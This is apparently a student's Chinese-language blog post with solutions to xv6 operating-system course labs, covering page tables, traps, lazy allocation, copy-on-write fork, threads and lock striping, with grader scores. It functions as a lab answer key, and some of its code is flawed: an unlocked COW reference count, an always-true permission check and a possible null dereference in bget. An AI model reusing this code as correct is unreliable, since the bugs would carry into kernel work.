plicinithart(); // ask PLIC for device interrupts
binit(); // buffer cache
iinit(); // inode cache
fileinit(); // file table
virtio_disk_init(); // emulated hard disk
#ifdef LAB_NET
pci_init();
sockinit();
#endif
userinit(); // first user process
__sync_synchronize();
started = 1;
} else {
while(started == 0)
;
__sync_synchronize();
printf("hart %d starting\n", cpuid());
kvminithart(); // turn on paging
trapinithart(); // install kernel trap vector
plicinithart(); // ask PLIC for device interrupts
}

scheduler();
}

上一个函数设置好内核页表之后,这个函数就是让satp寄存器指向这个页表,到这里cpu才开启了虚拟内存,之前全部都是直接在物理内存上干的。

当开始虚拟地址之前,pc寄存器记录着下一个指令的物理地址,当开启了之后,pc寄存器就记录着下一个指令的虚拟地址,就需要翻译了,但由于xv6操作系统是采用直接映射的,所以开了和没开差不多✌

1
2
3
4
5
kvminithart()
{
w_satp(MAKE_SATP(kernel_pagetable));
sfence_vma();
}

然后又调用procinit函数,这个函数就是遍历所有的进程的proc结构体,然后利用kalloc申请一个页表,不过我稍微有问题的就是kalloc返回的是虚拟地址,虽说是直接映射,但是他直接默认成物理地址了,还是不太严谨,容易产生误导。然后利用KSTACK计算出这个进程的内核栈的虚拟地址,然后调用kvmmap进行映射。

退出for循环之后还得调用kvminithart函数,因为已经更改了页表,就必须刷新TLB,不然可能会映射出错,而这个函数中的sfence_vma函数调用会执行sfence.vma指令,这个指令就会刷新TLB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void
procinit(void)
{
struct proc *p;

initlock(&pid_lock, "nextpid");
for(p = proc; p < &proc[NPROC]; p++) {
initlock(&p->lock, "proc");

// Allocate a page for the process's kernel stack.
// Map it high in memory, followed by an invalid
// guard page.
char *pa = kalloc();
if(pa == 0)
panic("kalloc");
uint64 va = KSTACK((int) (p - proc));
kvmmap(va, (uint64)pa, PGSIZE, PTE_R | PTE_W);
p->kstack = va;
}
kvminithart();
}

物理内存分配

分配器的代码主要集中在kalloc.c文件中,之前已经分析过了,在main函数中会调用kinit函数来初始化分配器,看着还是比较清楚地,就是把地址空间中从内核末尾到PHYSTOP的地址按每一页进行free,然后放到freelist中了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void
kinit()
{
initlock(&kmem.lock, "kmem");
freerange(end, (void*)PHYSTOP);
}

void
freerange(void *pa_start, void *pa_end)
{
char *p;
p = (char*)PGROUNDUP((uint64)pa_start);
for(; p + PGSIZE <= (char*)pa_end; p += PGSIZE)
kfree(p);
}

exec代码分析

exec函数是创建用户地址空间时使用的系统调用,在代码中侧重关注对elf文件的解析以及如何创建进程的地址空间。

函数首先经过一系列处理把elf头读到elf变量中,然后对魔数进行判断,然后调用proc_pagetable(p)返回个一个新的页表,这个页表中已经映射了跳板和陷阱帧。然后就是利用一个for循环把程序装载到内存中并配置页表,其中uvmalloc函数就是申请内存页然后配置页表,然后loadseg函数就是把二进制程序加载到申请的内存页中,大概是这样,但是具体如何加载elf每个段的还是看不太懂。

之后就是设置进程的栈,然后初始化了栈,在里面放了argc和argv,最后设置了陷阱帧的一些东西和页表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
int
exec(char *path, char **argv)
{
char *s, *last;
int i, off;
uint64 argc, sz = 0, sp, ustack[MAXARG+1], stackbase;
struct elfhdr elf;
struct inode *ip;
struct proghdr ph;
pagetable_t pagetable = 0, oldpagetable;
struct proc *p = myproc();

begin_op();

if((ip = namei(path)) == 0){
end_op();
return -1;
}
ilock(ip);

// Check ELF header
if(readi(ip, 0, (uint64)&elf, 0, sizeof(elf)) != sizeof(elf))
goto bad;
if(elf.magic != ELF_MAGIC)
goto bad;

if((pagetable = proc_pagetable(p)) == 0)
goto bad;

// Load program into memory.
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
if(readi(ip, 0, (uint64)&ph, off, sizeof(ph)) != sizeof(ph))
goto bad;
if(ph.type != ELF_PROG_LOAD)
continue;
if(ph.memsz < ph.filesz)
goto bad;
if(ph.vaddr + ph.memsz < ph.vaddr)
goto bad;
uint64 sz1;
if((sz1 = uvmalloc(pagetable, sz, ph.vaddr + ph.memsz)) == 0)
goto bad;
sz = sz1;
if(ph.vaddr % PGSIZE != 0)
goto bad;
if(loadseg(pagetable, ph.vaddr, ip, ph.off, ph.filesz) < 0)
goto bad;
}
iunlockput(ip);
end_op();
ip = 0;

p = myproc();
uint64 oldsz = p->sz;

// Allocate two pages at the next page boundary.
// Use the second as the user stack.
sz = PGROUNDUP(sz);
uint64 sz1;
if((sz1 = uvmalloc(pagetable, sz, sz + 2*PGSIZE)) == 0)
goto bad;
sz = sz1;
uvmclear(pagetable, sz-2*PGSIZE);
sp = sz;
stackbase = sp - PGSIZE;

// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
if(argc >= MAXARG)
goto bad;
sp -= strlen(argv[argc]) + 1;
sp -= sp % 16; // riscv sp must be 16-byte aligned
if(sp < stackbase)
goto bad;
if(copyout(pagetable, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
goto bad;
ustack[argc] = sp;
}
ustack[argc] = 0;

// push the array of argv[] pointers.
sp -= (argc+1) * sizeof(uint64);
sp -= sp % 16;
if(sp < stackbase)
goto bad;
if(copyout(pagetable, sp, (char *)ustack, (argc+1)*sizeof(uint64)) < 0)
goto bad;

// arguments to user main(argc, argv)
// argc is returned via the system call return
// value, which goes in a0.
p->trapframe->a1 = sp;

// Save program name for debugging.
for(last=s=path; *s; s++)
if(*s == '/')
last = s+1;
safestrcpy(p->name, last, sizeof(p->name));

// Commit to the user image.
oldpagetable = p->pagetable;
p->pagetable = pagetable;
p->sz = sz;
p->trapframe->epc = elf.entry; // initial program counter = main
p->trapframe->sp = sp; // initial stack pointer
proc_freepagetable(oldpagetable, oldsz);

return argc; // this ends up in a0, the first argument to main(argc, argv)

bad:
if(pagetable)
proc_freepagetable(pagetable, sz);
if(ip){
iunlockput(ip);
end_op();
}
return -1;
}

打印页表,写的比较脑瘫

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void _vmprint(pagetable_t pagetable,int level){
for(int i=0;i<512;i++){
pte_t pte=pagetable[i];
if(!(pte&PTE_V)){
continue;
}
if(level==1){
printf("..");
}else if(level==2){
printf(".. ..");
}else if(level==3){
printf(".. .. ..");
}
printf("%d: %p pa %p\n",i,pte,PTE2PA(pte));
if((pte&(PTE_X|PTE_W|PTE_R))==0){
uint64 child=PTE2PA(pte);
_vmprint((pagetable_t)child,level+1);
}
}
}
void vmprint(pagetable_t pagetable){
printf("page table %p\n",pagetable);
_vmprint(pagetable,1);
}

A kernel page table per process

给每个进程实现一个内核页表的副本,只要理清思路就不难,然后代码实现仿照内核已有的函数写就行,我主要是卡在了scheduler()函数上,正确函数调用顺序如下,但是我刚开始吧uvminithart写在了swtch函数的下面,目前并不清楚这个函数是干啥的,但是按照这样写就没问题

1
2
3
4
5
uvminithart(p->kernelpage);

swtch(&c->context, &p->context);

kvminithart();

主要代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
void proc_kernelpage_free(pagetable_t kernelpage){
for(int i=0;i<512;i++){
pte_t pte=kernelpage[i];
if(!(pte&PTE_V)){
continue;
}
if((pte&(PTE_W|PTE_R|PTE_X))==0){
uint64 child=PTE2PA(pte);
proc_kernelpage_free((pagetable_t)child);
}
kernelpage[i]=0;
}
kfree((void *)kernelpage);
}

void uvmmap(pagetable_t kernelpage,uint64 va, uint64 pa, uint64 sz, int perm){
if(mappages(kernelpage,va,sz,pa,perm)!=0){
panic("uvmmap");
}
}
pagetable_t proc_kvminit(){
pagetable_t kernlepage=(pagetable_t) kalloc();
memset(kernlepage,0,PGSIZE);

uvmmap(kernlepage,UART0, UART0, PGSIZE, PTE_R | PTE_W);

uvmmap(kernlepage,VIRTIO0, VIRTIO0, PGSIZE, PTE_R | PTE_W);

uvmmap(kernlepage,CLINT, CLINT, 0x10000, PTE_R | PTE_W);

uvmmap(kernlepage,PLIC, PLIC, 0x400000, PTE_R | PTE_W);

uvmmap(kernlepage,KERNBASE, KERNBASE, (uint64)etext-KERNBASE, PTE_R | PTE_X);

uvmmap(kernlepage,(uint64)etext, (uint64)etext, PHYSTOP-(uint64)etext, PTE_R | PTE_W);

uvmmap(kernlepage,TRAMPOLINE, (uint64)trampoline, PGSIZE, PTE_R | PTE_X);
return kernlepage;
}

Simplify copyin/copyinstr

代码太多了,把握的不是很好,加上没有善于利用git,导致我第二个实验做完没有开保存到工作区,最后实验三改着改着就改不回来了,我刚开始的思路就是用户页表映射的时候内核页表也跟着映射吗,但是最后是失败的,因为fork完后调用exec会导致对内核页表的重新映射而导致出错,进而程序崩溃,后来看了别人的思路,就是不利用内核提供的函数,而是自己写一个函数,来复制页表,这样确实会好很多,哎。猪鼻了这下。只能从头开始写这个实验了。

整了四五天还是疯狂报错。我吐了,照着写代码都不行,这个实验只能暂时搁浅了,后面有时间再整吧。

Lab4: traps

RISC-V assembly

任务就是读懂这段汇编,但是之间没有认真接触过risc-v指令集,所以还是有些小困难,为了彻底搞懂,就从main处一行一行看吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
int g(int x) {
0: 1141 addi sp,sp,-16
2: e422 sd s0,8(sp)
4: 0800 addi s0,sp,16
return x+3;
}
6: 250d addiw a0,a0,3
8: 6422 ld s0,8(sp)
a: 0141 addi sp,sp,16
c: 8082 ret

000000000000000e <f>:

int f(int x) {
e: 1141 addi sp,sp,-16
10: e422 sd s0,8(sp)
12: 0800 addi s0,sp,16
return g(x);
}
14: 250d addiw a0,a0,3
16: 6422 ld s0,8(sp)
18: 0141 addi sp,sp,16
1a: 8082 ret

000000000000001c <main>:

void main(void) {
1c: 1141 addi sp,sp,-16
#sp=sp+0x10
1e: e406 sd ra,8(sp)
# *(sp+0x8)=ra
20: e022 sd s0,0(sp)
#*(sp+0x0)=s0,s0相当于x86中的rbp我感觉,就是记录栈顶的值,即帧指针
22: 0800 addi s0,sp,16
#s0=sp+0x10,就是记录这个函数的帧指针
printf("%d %d\n", f(8)+1, 13);
24: 4635 li a2,13
#a2=13
26: 45b1 li a1,12
#a1=12
28: 00000517 auipc a0,0x0
#a0=(0x0<<12)+pc
#auipc rd, imm # 将 20 位的立即数左移12位,低 12 位补零,将得到的 32 位数与 pc 的值相加,最后写回寄存器 rd 中
2c: 7a850513 addi a0,a0,1960 # 7d0 <malloc+0xea>
#a0=a0+1960,此时a0就存储着字符串的地址了。,感觉就是相对于pc的寻址,只不过拆成了两步
30: 00000097 auipc ra,0x0
#ra=(0x0<<12)+pc
34: 5f8080e7 jalr 1528(ra) # 628 <printf>
#pc=ra+1528, ra+=8,此时就跳转到了printf函数
exit(0);
38: 4501 li a0,0
#a0=0
3a: 00000097 auipc ra,0x0
#ra=pc
3e: 276080e7 jalr 630(ra) # 2b0 <exit>
#pc=ra+630,ra+=8

一行一行分析下来发现其实并没有调用f和g函数,被编译器优化掉了,直接把12赋值给a1,13赋值给a2了。

问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
哪些寄存器保存函数的参数?例如,在main对printf的调用中,哪个寄存器保存13?
a2
main的汇编代码中对函数f的调用在哪里?对g的调用在哪里(提示:编译器可能会将函数内联)
并没有对f和g函数进行调用
printf函数位于哪个地址?
0x628
在main中printf的jalr之后的寄存器ra中有什么值?
0x38
运行以下代码。
unsigned int i = 0x00646c72;
printf("H%x Wo%s", 57616, &i);
He110 World
在下面的代码中,“y=”之后将打印什么(注:答案不是一个特定的值)?为什么会发生这种情况?
printf("x=%d y=%d", 3);
不确定,因为参数三并没有被指定,所以此时a2寄存器是什么值就输出什么值

Backtrace

就是利用s0和ra来打印回溯函数链

1
2
3
4
5
6
7
8
9
10
11
void backtrace(void){
uint64 s0=r_fp();
uint64 kstack_base=PGROUNDDOWN(s0)+0x1000;
while(1){
printf("%p\n",*(uint64 *)(s0-0x8));
s0=*(uint64 *)(s0-0x10);
if(s0>=kstack_base){
break;
}
}
}

Alarm

虽然是困难级别的,但是感觉比页表那块的实验要友善很多了,就是对alarm理解的有点偏差,导致卡了一会会。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
uint64 sys_sigalarm(void){
struct proc *p=myproc();
p->alarm_handler=(void *)p->trapframe->a1;
p->alarm_total_time=p->trapframe->a0;
p->trapframe->a0=0;
return 0;
}

uint64 sys_sigreturn(void){
struct proc *p=myproc();
memmove(p->trapframe,p->alarm_trapframe,sizeof(struct trapframe));
p->is_alarm=0;
p->trapframe->a0=0;
return 0;
}

if(p->alarm_total_time!=0){
p->alarm_time+=1;
if((p->alarm_time>=p->alarm_total_time)&&(p->is_alarm==0)){
memmove(p->alarm_trapframe,p->trapframe,sizeof(struct trapframe));
p->trapframe->epc=(uint64)p->alarm_handler;
p->alarm_handler=0;
p->alarm_time=0;
p->is_alarm=1;
}
}

结果

1
2
3
== Test time == 
time: OK
Score: 85/85

结语

通过这个实验更加深刻的了解了xv6的内核和用户态之间的切换,修改起xv6相关代码也十分顺手了。

LAB5: xv6 lazy page allocation

这个实验比较简单,就是实现简单的惰性分配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int
argaddr(int n, uint64 *ip)
{
*ip = argraw(n);
char *mem;
struct proc *p=myproc();
uint64 va;
if((walkaddr(p->pagetable,*ip)==0)){
if((PGROUNDUP(p->trapframe->sp)-1<(*ip))&&((*ip)<p->sz)){
mem=kalloc();
if(!mem){
p->killed=1;
return -1;
}
memset(mem,0,PGSIZE);
va=PGROUNDDOWN(*ip);
if(mappages(p->pagetable, va, PGSIZE, (uint64)mem, PTE_W|PTE_X|PTE_R|PTE_U) != 0){
panic("mappages fail");
}
}else{
p->killed=1;
return -1;
}
}
return 0;

}

else if(r_scause() == 13||r_scause() == 15){
uint64 bad_addr=r_stval();
char *mem=0;
if((bad_addr<p->sz)&&((mem=kalloc())!=0)&&(PGROUNDUP(p->trapframe->sp)-1<bad_addr)){
uint64 va=PGROUNDDOWN(bad_addr);
memset(mem,0,PGSIZE);
if(mappages(p->pagetable, va, PGSIZE, (uint64)mem, PTE_W|PTE_X|PTE_R|PTE_U) != 0){
panic("mappages fail");
}
}else{
p->killed=1;
}

结果

Lab6: Copy-on-Write Fork for xv6

就是实现fork时的cow机制,我的思路是在fork的时候没有w权限的直接直接复制映射,如果有w权限的符知进程的flag全部&(~PTE_W)|PTE_COW,这样PTE_COW标志就既可以判断是否是cow映射,还可以标识这个映射是有w权限的,这样就防止了子进程的权限管理不严格,比如子进程写不可写页面之类的。

由于我没有使用锁,多进程的kfree()就会出现问题hhh,但是把cow实现成功我就心满意足了,下面是代码,不过代码写的很臃肿。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
void
kfree(void *pa)
{
struct run *r;
// printf("kfree b\n");
if(((uint64)pa % PGSIZE) != 0 || (char*)pa < end || (uint64)pa >= PHYSTOP)
panic("kfree");
uint64 num=(uint64)pa;
if((--cow_num[num>>12])!=0){
return;
}
// Fill with junk to catch dangling refs.
memset(pa, 1, PGSIZE);

r = (struct run*)pa;

acquire(&kmem.lock);
r->next = kmem.freelist;
kmem.freelist = r;
// printf("free e\n");
release(&kmem.lock);
}

// Allocate one 4096-byte page of physical memory.
// Returns a pointer that the kernel can use.
// Returns 0 if the memory cannot be allocated.
void *
kalloc(void)
{
struct run *r;

acquire(&kmem.lock);
r = kmem.freelist;
if(r)
kmem.freelist = r->next;
release(&kmem.lock);

if(r){
memset((char*)r, 5, PGSIZE); // fill with junk
}
uint64 num=(uint64)r;
cow_num[num>>12]++;

return (void*)r;
}
else if(r_scause()==15){
// printf("taps b\n");

uint64 write_addr=r_stval();
uint64 va=PGROUNDDOWN(write_addr);
pte_t *pte;

if(write_addr<MAXVA){
pte=walk(p->pagetable,va,0);
if((*pte & PTE_V) == 0){
panic("cow usertap pte fail");
}
uint flags=PTE_FLAGS(*pte);
char *mem=0;
if(((flags|PTE_COW)!=0)&&(write_addr<p->sz)&&((mem=kalloc())!=0)){
uint64 pa=PTE2PA(*pte);
memmove(mem,(void *)pa,PGSIZE);
flags=(flags&(~PTE_COW))|PTE_W;
*pte=PA2PTE(mem)|flags;
kfree((void *)pa);
}else{
p->killed=1;
}
}else{
p->killed=1;
}

copyout(pagetable_t pagetable, uint64 dstva, char *src, uint64 len)
{
uint64 n, va0, pa0;
pte_t *pte;
uint flags;
char *mem=0;
// printf("copyout b\n");
while(len > 0){
va0 = PGROUNDDOWN(dstva);
pa0 = walkaddr(pagetable, va0);
if(va0<MAXVA){
pte=walk(pagetable,va0,0);
if(pte ==0){
return -1;
}
flags=PTE_FLAGS(*pte);
if((flags&PTE_COW)!=0&&((mem=kalloc())!=0)){
uint64 pa=PTE2PA(*pte);
memmove(mem,(void *)pa,PGSIZE);
flags=(flags&(~PTE_COW))|PTE_W;
*pte=PA2PTE(mem)|flags;
kfree((void *)pa);
pa0=(uint64)mem;
}
}

if(pa0 == 0)
return -1;
n = PGSIZE - (dstva - va0);
if(n > len)
n = len;
memmove((void *)(pa0 + (dstva - va0)), src, n);

len -= n;
src += n;
dstva = va0 + PGSIZE;
}
// printf("copyout e\n");
return 0;
}

int
uvmcopy(pagetable_t old, pagetable_t new, uint64 sz)
{
pte_t *pte;
uint64 pa, i;
uint flags;
// uint64 num;

for(i = 0; i < sz; i += PGSIZE){
if((pte = walk(old, i, 0)) == 0)
panic("uvmcopy: pte should exist");
if((*pte & PTE_V) == 0)
panic("uvmcopy: page not present");
pa = PTE2PA(*pte);
cow_num[(pa>>12)]++;
flags = PTE_FLAGS(*pte);
if(flags&PTE_W){
*pte=(*pte)|PTE_COW;
*pte=(*pte)&(~PTE_W);
flags=flags|PTE_COW;
flags=(flags&(~PTE_W));
}
// flags = (PTE_FLAGS(*pte)&(~PTE_W))|PTE_COW;
if(mappages(new, i, PGSIZE, (uint64)pa, flags) != 0){
panic("uvmcopy fail");
}
}
return 0;

// err:
// uvmunmap(new, 0, i / PGSIZE, 1);
// return -1;
}

结果

满分,好欸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
os@os-virtual-machine:~/xxv6/xv6-labs-2020$ ./grade-lab-cow 
make: “kernel/kernel”已是最新。
== Test running cowtest == (4.9s)
== Test simple ==
simple: OK
== Test three ==
three: OK
== Test file ==
file: OK
== Test usertests == (107.3s)
(Old xv6.out.usertests failure log removed)
== Test usertests: copyin ==
usertests: copyin: OK
== Test usertests: copyout ==
usertests: copyout: OK
== Test usertests: all tests ==
usertests: all tests: OK
== Test time ==
time: OK
Score: 110/110

Lab7: Multithreading

Uthread: switching between threads (moderate)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void 
thread_create(void (*func)())
{
struct thread *t;

for (t = all_thread; t < all_thread + MAX_THREAD; t++) {
if (t->state == FREE) break;
}
t->state = RUNNABLE;
t->context.sp=(uint64)t->stack+STACK_SIZE-1;
t->context.ra=(uint64)func;
// YOUR CODE HEREs

}

if (current_thread != next_thread) { /* switch threads? */
next_thread->state = RUNNING;
t = current_thread;
current_thread = next_thread;
/* YOUR CODE HERE
* Invoke thread_switch to switch from t to next_thread:
* thread_switch(??, ??);
*/
thread_switch((uint64)&(t->context),(uint64)&(current_thread->context));

struct thread {
char stack[STACK_SIZE]; /* the thread's stack */
int state; /* FREE, RUNNING, RUNNABLE */
struct context context;

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
	.text
.globl thread_switch
thread_switch:
sd ra, 0(a0)
sd sp, 8(a0)
sd s0, 16(a0)
sd s1, 24(a0)
sd s2, 32(a0)
sd s3, 40(a0)
sd s4, 48(a0)
sd s5, 56(a0)
sd s6, 64(a0)
sd s7, 72(a0)
sd s8, 80(a0)
sd s9, 88(a0)
sd s10, 96(a0)
sd s11, 104(a0)

ld ra, 0(a1)
ld sp, 8(a1)
ld s0, 16(a1)
ld s1, 24(a1)
ld s2, 32(a1)
ld s3, 40(a1)
ld s4, 48(a1)
ld s5, 56(a1)
ld s6, 64(a1)
ld s7, 72(a1)
ld s8, 80(a1)
ld s9, 88(a1)
ld s10, 96(a1)
ld s11, 104(a1)
ret /* return to ra */

后面两个实验就是用户态的锁和释放,就不放代码了

结果

1
2
3
4
5
6
7
8
9
10
11
12
make: “kernel/kernel”已是最新。
== Test uthread == uthread: OK (0.9s)
== Test answers-thread.txt == answers-thread.txt: OK
== Test ph_safe == make: “ph”已是最新。
ph_safe: OK (10.8s)
== Test ph_fast == make: “ph”已是最新。
ph_fast: OK (22.3s)
== Test barrier == make: “barrier”已是最新。
barrier: OK (11.1s)
== Test time ==
time: OK
Score: 60/60

Lab8: locks

实验一

为每个cpu准备一个空闲队列,然后每个cpu在自己的空闲队列上获得新页面,然后为每个空闲队列准备一个锁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#include "types.h"
#include "param.h"
#include "memlayout.h"
#include "spinlock.h"
#include "riscv.h"
#include "defs.h"

void freerange(void *pa_start, void *pa_end);
extern char end[];
struct run {
struct run *next;
};

struct {
struct spinlock lock;
struct run *freelist;
} kmem[3];
void
kinit()
{
initlock(&kmem[0].lock, "kmem0");
initlock(&kmem[1].lock, "kmem1");
initlock(&kmem[2].lock, "kmem2");
freerange(end, (void*)PHYSTOP);
}
void
freerange(void *pa_start, void *pa_end)
{
char *p;
p = (char*)PGROUNDUP((uint64)pa_start);
for(; p + PGSIZE <= (char*)pa_end; p += PGSIZE)
kfree(p);
}
void
kfree(void *pa)
{
struct run *r;
uint32 keme_id;

if(((uint64)pa % PGSIZE) != 0 || (char*)pa < end || (uint64)pa >= PHYSTOP){
printf("pa : %p\n",(uint64)pa);
panic("kfree");
}

memset(pa, 1, PGSIZE);

r = (struct run*)pa;
keme_id=(((uint64)pa)>>12)%3;

acquire(&kmem[keme_id].lock);
r->next = kmem[keme_id].freelist;
kmem[keme_id].freelist = r;
release(&kmem[keme_id].lock);
}
void *get_other_freeelist_r(uint32 kmem_id){
struct run *r;
acquire(&kmem[kmem_id].lock);
r = kmem[kmem_id].freelist;
if(r)
kmem[kmem_id].freelist = r->next;
release(&kmem[kmem_id].lock);
return (void *)r;
}
void *
kalloc(void)
{
struct run *r;
uint32 keme_id;
keme_id=cpuid();

acquire(&kmem[keme_id].lock);
r = kmem[keme_id].freelist;
if(r)
kmem[keme_id].freelist = r->next;
release(&kmem[keme_id].lock);

if(!r){
r=get_other_freeelist_r((keme_id+1)%3);
if(!r){
r=get_other_freeelist_r((keme_id+2)%3);
}
}
if(r)
memset((char*)r, 5, PGSIZE); // fill with junk
return (void*)r;
}

实验二

在xv6操作系统中,会有一个缓冲区列表来记录磁盘内容,当读磁盘的时候,首先会把内容缓冲到这个缓冲区,然后再从这个缓冲区中读取信息,刚开始这个缓冲区全部放在一个链表中然后使用一个锁防止竞争,但是io吞吐量比较大的时候是比较浪费cpu资源的,所以得让数据结构更加细化,选择使用一个桶(但感觉和哈希表没啥差别)来整多个链表,然后每个链表一个锁来保护,这样既能防止竞争,又能更加线程化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
#define Bucket_size 13
#define HASH(id) (id%13)
#include "types.h"
#include "param.h"
#include "spinlock.h"
#include "sleeplock.h"
#include "riscv.h"
#include "defs.h"
#include "fs.h"
#include "buf.h"

struct bucket{
struct spinlock lock;
struct buf head;
};
struct {

struct buf buf[NBUF];
struct bucket buckets[13];

} bcache;
char lockname[16][16];
char b_lockname[30][16];
void
binit(void)
{
struct buf *b;
memset(lockname,0,sizeof(lockname));
memset(b_lockname,0,sizeof(b_lockname));

for(int i=0;i<Bucket_size;i++){
snprintf(lockname[i],sizeof(lockname),"bcahce_%d",i);
initlock(&(bcache.buckets[i].lock),lockname[i]);
}
for(int i=0;i<Bucket_size;i++){
bcache.buckets[i].head.prev=&bcache.buckets[i].head;
bcache.buckets[i].head.next=&bcache.buckets[i].head;
}
int i=0;
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
b->next = bcache.buckets[0].head.next;
b->prev = &bcache.buckets[0].head;
snprintf(b_lockname[i],sizeof(b_lockname),"buffer_%d",i);
initsleeplock(&b->lock,b_lockname[i]);
bcache.buckets[0].head.next->prev = b;
bcache.buckets[0].head.next = b;
i++;
}
}

// Look through buffer cache for block on device dev.
// If not found, allocate a buffer.
// In either case, return locked buffer.
static struct buf*
bget(uint dev, uint blockno)
{
struct buf *b;
struct buf *tmp;
uint32 bid;
bid=HASH(blockno);
tmp=0;

// printf("lock_acq:%s\n",bcache.buckets[bid].lock.name);
acquire(&bcache.buckets[bid].lock);


// // Is the block already cached?
// for(b = bcache.head.next; b != &bcache.head; b = b->next){
// if(b->dev == dev && b->blockno == blockno){
// b->refcnt++;
// release(&bcache.lock);
// acquiresleep(&b->lock);
// return b;
// }
// }
for(b=bcache.buckets[bid].head.next;b!=&bcache.buckets[bid].head;b=b->next){
if(dev==b->dev&&blockno==b->blockno){
b->refcnt++;
acquire(&tickslock);
b->timetick = ticks;
release(&tickslock);
release(&bcache.buckets[bid].lock);
// printf("lock_re:%s\n",bcache.buckets[bid].lock.name);
// printf("acq_sleep:%s\n",b->lock.name);
acquiresleep(&b->lock);
// printf("acq_sleep_end\n");
return b;
}
}
b=0;
for(int i=bid,cur=0;cur<Bucket_size;i=(i+1)%Bucket_size){
cur++;
if(i!=bid){
if(!holding(&bcache.buckets[i].lock)){
// printf("asd\n");
// printf("for_1_lock_acq:%s\n",bcache.buckets[i].lock.name);
acquire(&bcache.buckets[i].lock);
// printf("for_1_lock_acq_end:%s\n",bcache.buckets[i].lock.name);
}else{
continue;
}
}else{
continue;
}
for(b=bcache.buckets[i].head.next;b!=&bcache.buckets[i].head;b=b->next){
if(b->refcnt==0&&((b->timetick<tmp->timetick)||tmp)){
tmp=b;
}
}
if(tmp){
// printf("tmp:%d,bif:%d\n",i,bid);
tmp->next->prev=tmp->prev;
tmp->prev->next=tmp->next;
release(&bcache.buckets[i].lock);
// printf("for_lock_re:%s\n",bcache.buckets[i].lock.name);
tmp->next=bcache.buckets[bid].head.next;
tmp->prev=&bcache.buckets[bid].head;
bcache.buckets[bid].head.next->prev=tmp;
bcache.buckets[bid].head.next=tmp;
tmp->dev = dev;
tmp->blockno = blockno;
tmp->valid = 0;
tmp->refcnt = 1;

acquire(&tickslock);
tmp->timetick = ticks;
release(&tickslock);
release(&bcache.buckets[bid].lock);
// printf("for_lock_re:%s\n",bcache.buckets[bid].lock.name);
// printf("for_acq_sleep:%s\n",tmp->lock.name);
acquiresleep(&tmp->lock);
// printf("for_acq_sleep_end\n");
return tmp;
}else{
release(&bcache.buckets[i].lock);
// printf("for_lock_re:%s\n",bcache.buckets[i].lock.name);
}
}


// Not cached.
// Recycle the least recently used (LRU) unused buffer.
// for(b = bcache.head.prev; b != &bcache.head; b = b->prev){
// if(b->refcnt == 0) {
// b->dev = dev;
// b->blockno = blockno;
// b->valid = 0;
// b->refcnt = 1;
// release(&bcache.lock);
// acquiresleep(&b->lock);
// return b;
// }
// }
panic("bget: no buffers");
}

// Return a locked buf with the contents of the indicated block.
struct buf*
bread(uint dev, uint blockno)
{
struct buf *b;
// printf("bread-beg\n");
b = bget(dev, blockno);
